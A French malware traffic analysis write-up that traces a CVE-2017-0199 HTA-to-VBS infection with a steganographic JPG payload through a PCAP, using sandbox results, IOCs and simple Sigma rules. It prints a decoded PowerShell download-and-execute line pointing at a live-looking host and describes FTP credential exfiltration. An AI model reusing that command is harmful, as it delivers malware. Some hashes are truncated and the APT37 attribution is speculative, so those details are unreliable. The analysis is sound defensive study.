
CVE-2017-0199 XLS --> HTA --> VBS --> STÉGANOGRAPHIE --> MALWARE DE TYPE DBATLOADER/GULOADER
Analyse basée sur PCAP | Date : 2025-03-12 | Auteur : BlackOclock
14.1 Synthèse Complète de la Chaîne d'Attaque
14.2 Indicateurs de Compromission (IP, Hashs, Domaines)
14.3 Recommandations
NOTE !!! Dans cette analyse, seul le fichier PCAP a été utilisé ! Les fichiers ZIP n'étaient pas nécessaires ;
##1. APERÇU DE L'ANALYSE

Forme 1 : fichiers sources téléchargés sur malware-traffic-analysis.net - seul le fichier PCAP a été utilisé\
2025-01-09 (JEUDI) : CVE-2017-0199 XLS --> HTA --> VBS --> STÉGANOGRAPHIE --> MALWARE DE TYPE DBATLOADER/GULOADER
##2. ANALYSE DU TRAFIC RÉSEAU
2.1 - Hiérarchie des Protocoles – Vue d'ensemble

J'ai commencé par la Hiérarchie des Protocoles pour obtenir une vue d'ensemble du trafic. Cela montre le volume de chaque protocole utilisé. Comme le montre la figure, TLS représente 82,4 % du trafic total. De plus, des données Media Line et Line-Based sont également présentes. Cependant, pour mieux comprendre l'activité réseau, nous devons examiner les Conversations et les Endpoints.
2.2 - Conversations – Principaux échanges & Transfert de données

Nous utilisons les Conversations pour détecter les paires IP ayant le plus grand transfert de données entre elles. L'analyse montre que 10.9.1.101 (hôte) et 104.17.201.1 ont le volume de trafic le plus élevé. Les ports 80 et 443 ont été utilisés pour ce transfert. De plus, nous voyons que 3 Mo de données ont été transférés vers 10.9.1.101 (hôte) depuis 104.17.201.1. Une autre constatation cruciale est la connexion sur le port 21 en raison de la connexion depuis l'IP WAN (89.39.83.184), ce qui suggère une exfiltration potentielle. Mais nous n'en sommes pas sûrs pour l'instant, car nous ne savons pas encore de quoi il s'agit. Nous avons besoin d'une preuve !
2.3 - Endpoints

Nous utilisons les Endpoints pour identifier les principaux émetteurs sur le réseau. 104.17.201.1 a 3 Mo de données transmises (Tx) et 10.9.1.101 a 3 Mo de données reçues (Rx). De plus, les principaux émetteurs sont 104.17.201.1 comme source et 10.9.1.101 comme destination.
2.4 - Objets Exportés HTTP

L'export est utilisé pour identifier les fichiers, données, e-mails, etc. transférés sur le réseau. Chaque fois que nous analysons une pcap, nous devons vérifier ici pour voir quels paquets contiennent quelles données. Nous avons noté les paquets 88, 132, 2457 et 2468.
2.5 - Filtre HTTP Contains

S'il y a des protocoles http sur le réseau. Nous devons vérifier png, zip, jpg, jpeg ( Stéganographie ) en tant que média dans le filtre, car les attaquants utilisent souvent des codes malveillants dans les fichiers médias pour contourner la détection antivirus.
#Exemple : http contains ".png" ou http contains ".jpg" ou http contains ".jpeg" ou http contains ".zip"
Nous voyons juste pourquoi ce filtre est important lorsque le port 80 est utilisé sur le réseau. Ici, il y a un .hta qui est envoyé dans des fichiers médias au paquet 47. Mais lorsque nous utilisons l'export pour identifier les fichiers, il n'y en avait pas.
##3. ANALYSE AVEC NETWORKMINER

Nous pouvons utiliser networkminer pour identifier plus rapidement sur PCAP. Si vous utilisez REMnux ou un système Linux, vous pouvez écrire sur le terminal ( networkminer pcap_name )
Trame = 47 Nom du fichier = seemebestthingsevermeetgivenbestthingsfornewways | Extension = .hta | Taille = 47 Ko | IP source = 192.3.27.144 Trame = 132 | Nom du fichier = comonstraints | Extension = .vbs | Taille = 223 Ko | IP source = 107.172.31.5 Trame = 2457 | Nom du fichier = foeMMBIG | Extension = .txt | Taille = 325 Ko | IP source = 107.172.31.5

Hash JA3 :
06843d66057fc9cbe42e9d690308903 (Trame 8)62136a81b5b727d039d8160d188863aa (Trame 14)3c4eb72b882d4d1442c67ce73f1292a9 (Trame 140)Empreintes JA4 :
t13d1516h2_8daaf6152771_02713d6af862t13d201000_2b729b4bf63_29829a46703fMais pourquoi avons-nous besoin des hash JA4 et JA3 ? Il peut y avoir une question : que sont JA3 et JA4 ?
Laissez-moi expliquer ; JA3 et JA4 sont des techniques utilisées pour identifier les clients et serveurs TLS en fonction des paramètres de la poignée de main TLS. JA3 crée un hash MD5 du paquet client hello de la poignée de main TLS, identifiant de manière unique l'application cliente (ex : navigateur, malware).
JA4 est une technique plus récente. C'est comme une empreinte digitale pour le trafic internet. Tout comme les humains ont des empreintes digitales uniques, chaque logiciel qui se connecte à Internet laisse une marque unique. Très utile pour trouver un serveur C2.
##4. ANALYSE DES LOGS ZEEK (ZUI)
Les logs Zeek ont été utilisés pour vérifier les fichiers extraits du trafic HTTP. Le fichier files.log montre les entrées suivantes :
Ces hash ont ensuite été utilisés pour les recherches VirusTotal.

Hta (seemebestthing…)
MD5 e90ae8ec16ea2056caaa64ac13a31373 SHA1 8041abda3769b97d8e8b980c6a77fcd2829d715 SHA256 df215a01f6a83014a148c6e407cdc8422e9119a88b4220a1321b2986ea9aef63

MD5 3f691c4d5e1b53d16964d30e35863f77 SHA1 9ade8197b6f8828f384d5431a1d3a1b00e162782 SHA256 a666a99f2056082802f4597f180f891582a527324a16d34b4755ed63e5467882

MD5 9409dc8763c7d40af120ad693545ef98 SHA1 bec5f3f43449189ebf5dadf314288acace4828d7 SHA256 018648727f760e361eb4efa7f955a7815a197224c23016b321ab954767b45b82
##5. FICHIERS EXTRAITS & ANALYSE STATIQUE
Ici, nous allons exporter tous les fichiers de la pcap sur le bureau et nous les analyserons avec binwalk

Le fichier HTA a l'air propre. Je n'ai trouvé aucune donnée cachée. Il ressemble à un fichier texte normal.
Le fichier VBS est différent. J'ai trouvé deux choses à l'intérieur :
Des données Base64 et un document HTML Cela signifie que le fichier VBS comporte plusieurs couches. L'attaquant a essayé de cacher du code à l'intérieur.
Le fichier TXT m'a donné un résultat étrange. Il indique "Broadcom header", ce qui n'a pas de sens pour un fichier texte. Peut-être que le fichier est corrompu, ou qu'il y a une autre couche à l'intérieur. Je dois l'exécuter dans un bac à sable pour mieux comprendre
##6. TRIAGE & ANALYSE COMPORTEMENTALE
J'ai exécuté le fichier HTA dans un bac à sable. Voici ce qui s'est passé :

Nous avons le résultat de hta. Score 8/10 par Triage.

Chaîne de processus en 5 étapes : mshta.exe (PID 1080) a démarré Il a lancé cmd.exe (4952) cmd.exe a lancé powershell.exe (4424) PowerShell a activé SeDebugPrivilege (pour accéder à d'autres processus) WriteProcessMemory a été utilisé plusieurs fois pour l'injection de code
Chaîne d'injection :
mshta.exe (1080) → cmd.exe (4952) → powershell.exe (4424) → csc.exe (4432) → processus inconnu (3332)
PowerShell a également vérifié les processus en cours (découverte) et examiné la langue du système (probablement pour éviter les bacs à sable).
Techniques MITRE que j'ai vues pour hta :
T1059.001 (PowerShell) T1059.003 (cmd) T1057 (découverte de processus) T1134 (manipulation de jetons) T1055 (injection de processus) T1614.001 (détection de langue)

Nous voyons ici FromString64Base dans la commande PowerShell de cmd.exe. Nous devons le décoder sur CyberChef pour voir le code dans base64.

Dans la commande PowerShell, j'ai trouvé une chaîne Base64. Après l'avoir décodée avec CyberChef, j'ai vu :
URLDownloadToFile(0, "http://107.172.31.5/comonstraints.vbs", "...", 0, 0) Start-Sleep(3) Invoke-Expression "..."
cela signifie donc que, depuis 107.172.31.5, télécharger comonstraints.vbs et attendre 3 secondes puis exécuter. Eh bien, à l'étape suivante, comonstraints.vbs sera téléchargé.

Nous avons le résultat de vbs. Score 10/10 par Triage.
Chaîne de processus : Wscript.exe s'est exécuté et a lancé PowerShell.exe
Eh bien, sur l'image, si nous vérifions les codes dans le processus. Nous avons #x#.GIBMMeof/5.13.271.701//:p##h ----> Il y a un chemin encodé . http://107.172.31.5/foeMMBIG.txt( qui a été vu dans l'export de PCAP)
et aussi ce site https://res.cloudinary.com/dnkr4s5yg/image/upload/v1735420882/givvuo2katk3jnggipgn.jpg, qui contient du code malveillant à l'intérieur du jpg. Le JPG contient les balises <BASE64_START> et <BASE64_END>. Entre elles, cela signifie donc qu'il y a un code caché. Le texte caché est en fait du Base64 mais écrit à l'envers. Le script le retourne d'abord, puis le décode. Après décodage, il devient un petit programme (assembly .NET) et s'exécute sur l'ordinateur.
J'ai essayé de télécharger le jpg.

Mais je n'ai pas pu l'obtenir. Peut-être que cette adresse a été fermée. Le fichier VBS télécharge une image, trouve le code caché à l'intérieur, le corrige et l'exécute. C'est ce qu'on appelle la stéganographie – cacher des choses dans des images.
Techniques MITRE :
T1012 - Interrogation du Registre T1082 - Découverte d'Informations Système T1055 - Injection de Processus T1057 – Découverte de Processus T1134 – Manipulation de Jetons d'Accès

-Le fichier a été ouvert avec Notepad.exe (PID 4600)
Cela confirme que foeMMBIG.txt est en fait un dropper de ransomware.
Techniques MITRE :
##7. ANALYSE D'INJECTION DE PROCESSUS
7.1 Arborescence des Processus
mshta.exe (1080) → cmd.exe (4952) → powershell.exe (4424) → csc.exe (4432) → Notepad.exe (4600)
7.2 Événements WriteProcessMemory
PID 1080 (mshta.exe) a écrit dans PID 4952 (cmd.exe) PID 4952 (cmd.exe) a écrit dans PID 4424 (powershell.exe) PID 4424 (powershell.exe) a écrit dans PID 4432 (csc.exe) PID 4432 (csc.exe) a écrit dans PID 3332 (inconnu)
7.3 Manipulation de Jetons
PowerShell (PID 4424) a activé SeDebugPrivilege, lui permettant d'accéder à d'autres processus.
##8. ANALYSE DES VIDES MÉMOIRE
Lorsque le malware s'est exécuté, le bac à sable a pris des instantanés mémoire de PowerShell (PID 4424). Ces instantanés enregistrent ce qui se trouvait dans la RAM de l'ordinateur à ce moment-là.
J'ai trouvé plus de 20 fichiers de vidage mémoire

Le fichier VBS (exécuté par WScript.exe, PID 1184) a également créé des vidages mémoire. Ces vidages font principalement 64 Ko. C'est normal pour de petites allocations. Mais j'ai vérifié les vidages mémoire de Notepad.exe (PID 4600), mais il n'y en avait pas. C'est intéressant car nous savons que Notepad a été utilisé pour ouvrir foeMMBIG.txt.
##9. DÉTECTION & EMPREINTE DU C2

Seul Jarm est imprimé pour 2 IP
J'ai extrait les empreintes JA4 de NetworkMiner et les ai recherchées dans GreyNoise. J'ai trouvé 26 IP signalées comme malveillantes avec la même empreinte JA4. Ensuite, j'ai recherché toutes ces IP dans Shodan pour vérifier leurs ports et services ouverts.
Cette liste a été créée en vérifiant GreyNoise, et ces IP sont signalées comme malveillantes dans GreyNoise :
34.122.147.229 ( Tentatives de brute-force d'applications web - selon la source Guardpot - il y a 7 mois Cette IP a été impliquée dans 1222 événements répartis sur 2 types d'attaques distincts. Attaques : tcp-portscan (1177), fortinet-login (45). Première vue : 2024-05-07 23:10 UTC, Dernière vue : 2025-07-17 17:28 UTC. 3/94 fournisseurs de sécurité ont signalé cette IP comme malveillante . Not After : 2020-11-30 22:10:40 )
107.189.1.175 - résultat de shodan C : Luxembourg Org : Buy VM Ports ouverts : 80 / 443 / 9001 / 9030
104.197.69.115 ( Tentatives de brute-force d'applications web - selon la source Guardpot - il y a 5 mois Cette IP a été impliquée dans 1159 événements répartis sur 2 types d'attaques distincts. Attaques : tcp-portscan (1124), fortinet-login (35). Première vue : 2024-07-11 04:26 UTC, Dernière vue : 2025-09-25 12:08 UTC. 4/94 fournisseurs de sécurité ont signalé cette IP comme malveillante )
34.72.176.129 ( Tentatives de brute-force d'applications web - selon la source Guardpot - il y a 5 mois
Cette IP a été impliquée dans 1233 événements répartis sur 2 types d'attaques distincts. Attaques : tcp-portscan (1201), fortinet-login (32). Première vue : 2024-07-11 04:26 UTC, Dernière vue : 2025-09-25 12:12 UTC.
Trouvez plus d'informations sur CrowdSec CTI - selon la source CrowdSec - il y a 1 an
Comportements : Tentative d'exploitation / Bruteforce HTTP / HTTP Crawl + 2 autres. Détails complets sur CrowdSec CTI
6/94 fournisseurs de sécurité ont signalé cette IP comme malveillante
34.123.170.104 ( Tentatives de brute-force d'applications web - selon la source Guardpot - il y a 1 mois Cette IP a été impliquée dans 1141 événements répartis sur 3 types d'attaques distincts. Attaques : tcp-portscan (1097), fortinet-login (42), web-login (2). Première vue : 2024-05-23 14:07 UTC, Dernière vue : 2026-01-26 05:22 UTC. Trouvez plus d'informations sur CrowdSec CTI - selon la source CrowdSec - il y a 1 an Comportements : HTTP Crawl / HTTP DoS / HTTP Exploit + 1 autre. Détails complets sur CrowdSec CTI ) 3/94 fournisseurs de sécurité ont signalé cette IP comme malveillante
121.127.42.69 ( 3/94 fournisseurs de sécurité ont signalé cette IP comme malveillante)
185.220.101.2 résultat de shodan ( Noms d'hôte :berlin01.tor-exit.artikel10.org Pays : Allemagne Organisation: Artikel10 e.V. FAI : Stiftung Erneuerbare Freiheit (C'est TOR) Ports : 80/443/9001/9002
185.220.101.162 ( Noms d'hôte : tor-exit-162.relayon.org Pays : Allemagne / Organisation:CIA TRIAD SECURITY LLC FAI : Stiftung Erneuerbare Freiheit)
205.169.39.24 Scan de ports réseau et reconnaissance - selon la source Guardpot - il y a 8 mois Cette IP a été impliquée dans 86 événements répartis sur 1 type d'attaque distinct. Attaques : tcp-portscan (86). Première vue : 2024-08-22 22:29 UTC, Dernière vue : 2025-07-04 17:29 UTC.
47.254.76.66 ( Fournisseur Cloud : Alibaba Cloud Pays : USA ports ouverts : 22 Système d'exploitation : Linux
47.251.118.89 (Fournisseur Cloud : Alibaba Cloud Pays : USA ports ouverts : 22 Système d'exploitation : Linux)
107.189.12.7( Noms d'hôte : tor.privatebrowsing.org Pays Luxembourg ports ouverts : 80)
47.88.18.245 ( Pays USA OS : Linux port ouvert : 22)
79.127.248.2 ( 4/94 fournisseurs de sécurité ont signalé cette IP comme malveillante Pays USA)
185.126.82.201( Pays : USA port : 1080)
45.92.19.139 (Pays : USA port : 59511)
47.251.186.126( Pays : USA port : 22)
79.127.221.66 (Pays : USA port : 1080)
185.241.208.136 ( Pays : Pologne Noms d'hôte ns2.rdp.rs ports ouverts : 111/8440/9001)
47.89.246.29 ( Pays : USA port : 22)
185.220.101.110 ( Noms d'hôte : tor-exit-110.digitalcourage.de ports ouverts : 80/123/443/8080)
5.77.252.202 ( Noms d'hôte :host-202.252.77.5.ucom.am Pays : Arménie ports ouverts : 1701/8291)
124.198.132.172 (Tor) ( Pays : USA ports ouverts : 111/8110/9001)
185.220.101.9 (Tor) ( Nom d'hôte : berlin01.tor-exit.artikel10.org Pays : Pologne ports ouverts : 80/443/9001/9002)
213.230.93.13 ( 4/94 fournisseurs de sécurité ont signalé cette IP comme malveillante Pays : Ouzbékistan)
138.199.140.203 ( nom d'hôte :static.203.140.199.138.clients.your-server.de Pays : Allemagne Ports ouverts : 22 / 8080 / 8443 / 9090/ 9100 / 10000 / 10250)
##10. ANALYSE D'EXFILTRATION
Lorsque nous vérifions 89.39.83.184, nous voyons que cette ip se connecte sur le port 21 avec l'hôte. Si nous cliquons sur un des paquets sur 21 ftp et Follow --- > TCP STREAM, nous voyons l'e-mail et le mot de passe de l'attaquant

lorsque nous vérifions les fichiers dans networkminer, il y avait des numéros de paquets 2498 (PW_user1_DESKTOP.html) et 2516 (Contacts_Thunder.txt). Après avoir exporté ces fichiers, il y a les informations de nom d'utilisateur et mot de passe pour une attaque de phishing (je suppose) ou pour voler des comptes.

J'ai recherché l'IP du serveur FTP (89.39.83.184) sur Shodan pour en savoir plus sur l'infrastructure de l'attaquant.

##12. RENSEIGNEMENT SUR LES MENACES
12.1 Résultats VirusTotal & MalwareBazaar
Les hashs obtenus à partir des logs Zeek (Section 4) ont été vérifiés sur VirusTotal et MalwareBazaar. Tous les fichiers ont été confirmés comme malveillants :
Fichier HTA : 33/61 détections, identifié comme AgentTesla Fichier VBS : 31/62 détections, identifié comme AgentTesla / Talu Fichier TXT : 25/62 détections, identifié comme Zapchast / Bhgd (dropper de ransomware)
Voir la Section 14.2 pour la liste complète des hashs.
12.2 Cartographie MITRE ATT&CK
T1059.001 - PowerShell T1059.003 - cmd T1134 - manipulation de jetons T1614.001 - détection de langue T1012 - Interrogation du Registre T1082 - Découverte d'Informations Système T1055 - Injection de Processus T1057 – Découverte de Processus
12.3 Corrélation avec APT37 (ScarCruft)
Pourquoi cette attaque ressemble-t-elle à APT37 ?
Ce que nous avons vu dans cette attaque - APT37 est connu pour Fichier HTA utilisé pour démarrer l'infection - APT37 utilise beaucoup les fichiers HTA PowerShell avec des commandes base64 - APT37 adore PowerShell Stéganographie (JPG avec code caché) - APT37 cache du code dans des images Injection de processus (mshta → cmd → powershell → csc) - APT37 injecte du code dans des processus de confiance Exfiltration FTP des données volées - APT37 vole des identifiants et des fichiers Ransomware à la fin - APT37 utilise désormais aussi des ransomwares Cibles peut-être en Europe - APT37 est actif en Europe Conclusion Les techniques que nous avons vues dans cette attaque correspondent à ce qu'APT37 fait habituellement. Ce n'est pas une preuve à 100%, mais cela ressemble à APT37. Un groupe de pirates nord-coréen est probablement derrière tout cela.
##13. INGÉNIERIE DE DÉTECTION
title: SeDebugPrivilege dans PowerShell description: Détecte l'activation de SeDebugPrivilege par PowerShell (manipulation de jeton possible) logsource: category: process_creation product: windows detection: selection: Image|endswith: '\powershell.exe' CommandLine|contains: 'SeDebugPrivilege' condition: selection
title: Exfiltration FTP description: Détecte les connexions FTP à partir de processus qui ne devraient pas utiliser FTP logsource: category: network_connection product: windows detection: selection: Image|endswith: - '\powershell.exe' - '\cmd.exe' - '\wscript.exe' DestinationPort: 21 condition: selectiontitle: PowerShell Download description: Détecte PowerShell téléchargeant des fichiers depuis internet logsource: category: process_creation product: windows detection: selection: Image|endswith: '\powershell.exe' CommandLine|contains|all: - 'URLDownloadToFile' - 'http' condition: selection
title: Notepad depuis Temp description: Détecte Notepad ouvrant des fichiers depuis le dossier Temp (injection de processus possible) logsource: category: process_creation product: windows detection: selection: Image|endswith: '\notepad.exe' CommandLine|contains: '\Temp' condition: selection
NOTE ! Je sais que c'est basique mais j'essaie juste d'apprendre les règles Sigma.
##14. CONCLUSION & IOCs
14.1 Résumé complet de la chaîne d'attaque
L'infection a commencé par un fichier HTA malveillant téléchargé depuis 192.3.27.144. Une fois ouvert, il a lancé une chaîne de processus :
mshta.exe → cmd.exe → powershell.exe → csc.exe → Notepad.exe
Résultats clés :
<BASE64_START> et <BASE64_END>.
Le script a extrait ces données, les a inversées et les a décodées en un assembly .NET. Cet assembly a été chargé en mémoire et exécuté. Bien que nous n'ayons pas pu télécharger le JPG (erreur 401), le code suggère fortement que c'était le mécanisme qui a téléchargé la charge utile finale (foeMMBIG.txt).Acteur menaçant : APT37 – les techniques correspondent aux TTPs connues
14.2 Indicateurs de compromission
Adresses IP :
IP = 107.172.31.5 | Rôle = Serveur C2 (téléchargement VBS, TXT) IP = 89.39.83.184 | Rôle = Serveur d'exfiltration FTP IP = 192.3.27.144 | Rôle = Source de téléchargement HTA IP = 104.17.201.1 | Rôle = Téléchargement de premier stade (3 Mo) 25 adresses IP malveillantes de GreyNoise | Voir la liste complète dans la Section 9.2
Domaines :
Domaine = res.cloudinary.com Rôle = Stéganographie (JPG avec code caché) Domaine = ip-api.com Fichier = index.B23BDC8E.txt(faux) Rôle = Vérification d'évasion de sandbox
Hachages de fichiers :
(seemebestthing…).hta MD5 e90ae8ec16ea2056caaa64ac13a31373 SHA1 8041abda3769b97d8e8b980c6a77fcd2829d715 SHA256 df215a01f6a83014a148c6e407cdc8422e9119a88b4220a1321b2986ea9aef63
comostraints.vbs MD5 3f691c4d5e1b53d16964d30e35863f77 SHA1 9ade8197b6f8828f384d5431a1d3a1b00e162782 SHA256 a666a99f2056082802f4597f180f891582a527324a16d34b4755ed63e5467882
foeMMBIG.txt MD5 9409dc8763c7d40af120ad693545ef98 SHA1 bec5f3f43449189ebf5dadf314288acace4828d7 SHA256 018648727f760e361eb4efa7f955a7815a197224c23016b321ab954767b45b82
Identifiants FTP :
14.3 Recommandations